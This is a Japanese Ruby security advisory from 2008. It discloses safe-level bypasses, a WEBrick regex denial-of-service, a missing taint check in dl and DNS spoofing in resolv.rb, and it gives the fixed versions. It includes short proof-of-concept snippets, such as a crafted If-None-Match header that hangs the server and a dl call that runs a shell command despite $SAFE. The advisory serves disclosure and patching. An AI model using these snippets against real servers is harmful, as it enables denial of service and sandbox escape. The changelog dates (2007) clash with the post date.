Posted by Shugo Maeda on 8 Aug 2008
Rubyに複数の脆弱性が発見されました。最新バージョンへのアップグレードを推奨します。
詳細
以下のような脆弱性が発見されました。
セーフレベルの脆弱性
セーフレベルにいくつかの脆弱性が発見されました。
-
untrace_varがセーフレベル4で実行可能です。
trace_var(:$VAR) {|val| puts "$VAR = #{val}" } Thread.new do $SAFE = 4 eval %q{ proc = untrace_var :$VAR proc.first.call("aaa") } end.join
-
$PROGRAM_NAMEがセーフレベル4で変更可能です。
Thread.new do $SAFE = 4 eval %q{$PROGRAM_NAME.replace "Hello, World!"} end.join $PROGRAM_NAME #=> "Hello, World!"
-
安全でないメソッドがセーフレベル1〜3で呼び出される可能性があります。
class Hello def world Thread.new do $SAFE = 4 msg = "Hello, World!" def msg.size self.replace self*10 # replace string 1 # return wrong size end msg end.value end end $SAFE = 1 # or 2, or 3 s = Hello.new.world if s.kind_of?(String) puts s if s.size < 20 # print string which size is less than 20 end
-
Syslogの操作がセーフレベル4で実行可能です。
require "syslog" Syslog.open Thread.new do $SAFE = 4 eval %q{ Syslog.log(Syslog::LOG_WARNING, "Hello, World!") Syslog.mask = Syslog::LOG_UPTO(Syslog::LOG_EMERG) Syslog.info("masked") Syslog.close } end.join
これらの脆弱性は山口慶太さんによって報告されました。
WEBrickのDoS脆弱性
WEBrick::HTTP::DefaultFileHandlerには、 WEBrick::HTTPUtils.split_header_valueの正規表現のバックトラックのため、 リクエストの処理に指数関数的時間を要する欠陥があります。
攻撃可能なサーバの例:
require 'webrick'
WEBrick::HTTPServer.new(:Port => 2000, :DocumentRoot => "/etc").start
攻撃の例:
require 'net/http'
res = Net::HTTP.start("localhost", 2000) { |http|
req = Net::HTTP::Get.new("/passwd")
req['If-None-Match'] = %q{meh=""} + %q{foo="bar" } * 100
http.request(req)
}
p res
このリクエストの処理は実質的には終了しません。
この脆弱性はChristian Neukirchenさんによって報告されました。
dlの汚染チェックの欠如
dlはオブジェクトの汚染フラグをチェックしないため、攻撃者に危険な関数の実行を許してしまう可能性があります。
require 'dl'
$SAFE = 1
h = DL.dlopen(nil)
sys = h.sym('system', 'IP')
uname = 'uname -rs'.taint
sys[uname]
この脆弱性はsheepmanさんによって報告されました。
resolv.rbのDNSスプーフィング脆弱性
resolv.rbには、リモートの攻撃者が偽造したDNS問い合わせの返答の受け入れを許す脆弱性があります。 この危険性は問い合わせのトランザクションID とソースポートのランダム化により低減できますが、resolv.rb ではどちらも行っていません。 修正により、それらのランダム化を行うようになります。
- 参考: CVE-2008-1447
この脆弱性は田中哲さんによって報告されました。
脆弱性の存在するバージョン
- 1.8系
-
- 1.8.5以前の全てのバージョン
- 1.8.6-p286以前の全てのバージョン
- 1.8.7-p71以前の全てのバージョン
- 1.9系
-
- r18423以前の全てのリビジョン
各バージョンでの対応方法
各バージョンでの対応方法を以下に記載します。
- 1.8系
- 1.8.6-p287または1.8.7-p72に更新してください。
- 1.9 series
-
Subversionで最新版をチェックアウトしてください。
$ svn co https://svn.ruby-lang.org/repos/ruby/trunk ruby
Rubyのパッケージを配布している各ベンダから、この脆弱性を修正した版のパッケージが提供されている場合もあります。詳細については各ベンダにお問い合わせください。
クレジット
これらの脆弱性は山口慶太さん・Christian Neukirchenさん・sheepmanさん・田中哲さんにより Ruby Security Teamに報告されました。
変更履歴
- 2007-08-08 12:24 +09:00 ruby 1.9のリビジョン番号を修正しました。
- 2007-08-11 11:31 +09:00 ruby 1.8のパッチレベルを修正しました。Ruby 1.8.7-p72 / 1.8.6-p287 のリリースアナウンスを参照ください。